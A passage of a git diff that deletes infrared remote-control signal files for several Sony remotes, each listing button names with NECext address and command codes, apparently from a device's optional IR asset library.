LEVEL_FILE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 68 00 00 00 -# -name: MEMO_INPUT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 69 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir deleted file mode 100644 index 128549c0e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: +_LINE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: -_LINE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 17 00 00 00 -# -name: C.INDEX -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 18 00 00 00 -# -name: FILE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 19 00 00 00 -# -name: FILE_RECALL -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1A 00 00 00 -# -name: ERASE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1B 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: >20 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: INDEX- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 36 00 00 00 -# -name: INDEX+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 37 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: SLOWREW -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: SLOWFF -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3B 00 00 00 -# -name: M.SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3C 00 00 00 -# -name: A.SPACE/A.CUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4E 00 00 00 -# -name: DISPLAY_MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 -# -name: LEVEL_FILE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 68 00 00 00 -# -name: MEMO_INPUT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 69 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir deleted file mode 100644 index 16976404e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir deleted file mode 100644 index b94029e4c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: Check -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: Continue -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: Shuffle -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 -# -name: Fader -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir deleted file mode 100644 index 1f951d345..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 09 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 13 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 15 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 19 00 00 00 -# -name: top_menu -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1B 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 34 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 39 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 53 00 00 00 -# -name: i+ -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 54 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 64 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir deleted file mode 100644 index b7c0986fc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 7B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 7C 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 1A 2A 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir deleted file mode 100644 index ab39f0dc8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 05 00 00 00 -# -name: Band -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: Phono -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0B 00 00 00 -# -name: Preset+ -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 4C 00 00 00 -# -name: Preset- -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 4D 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 53 00 00 00 -# -name: DBFB -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 54 00 00 00 -# -name: PresetEq -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 55 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 5D 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 8C 00 00 00 -# -name: Shuffle -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 8D 00 00 00 -# -name: MScan -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 8E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 92 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 93 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 94 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 95 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 9A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 9B 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 9C 00 00 00 -# -name: Discskip -type: parsed -protocol: NECext -address: 83 00 00 00 -command: C0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir deleted file mode 100644 index de9dce039..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: function -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 52 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 53 00 00 00 -# -name: dbfb -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 54 00 00 00 -# -name: file_select -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 55 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 90 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 91 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 93 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 94 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 95 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 96 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 97 00 00 00 -# -name: check -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 99 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 9A 00 00 00 -# -name: disk_skip -type: parsed -protocol: NECext -address: 83 00 00 00 -command: C0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir deleted file mode 100644 index ac9be8ba7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 52 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 53 00 00 00 -# -name: DBFB -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 54 00 00 00 -# -name: FILE_SELECT -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 55 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 90 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 91 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 93 00 00 00 -# -name: SKIP_UP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 94 00 00 00 -# -name: SKIP_DOWN -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 95 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 96 00 00 00 -# -name: FAST_REVERSE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 97 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 99 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 9A 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: C0 00 00 00 -# -name: DECK_A_PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: D0 00 00 00 -# -name: DECK_B_PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: D5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir deleted file mode 100644 index 392c1cfbb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 20 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 21 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 22 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 24 00 00 00 -# -name: Switch -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 25 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 26 00 00 00 -# -name: Input -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 27 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2B 00 00 00 -# -name: KEY_QUIT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2F 00 00 00 -# -name: Okay -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 33 00 00 00 -# -name: Blank -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 36 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 39 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir deleted file mode 100644 index a9f841715..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ch1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: ch2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: ch3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: ch4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: ch5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: ch6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: ch7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: ch8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: ch9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: ch0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: Change -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: Minimise -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: 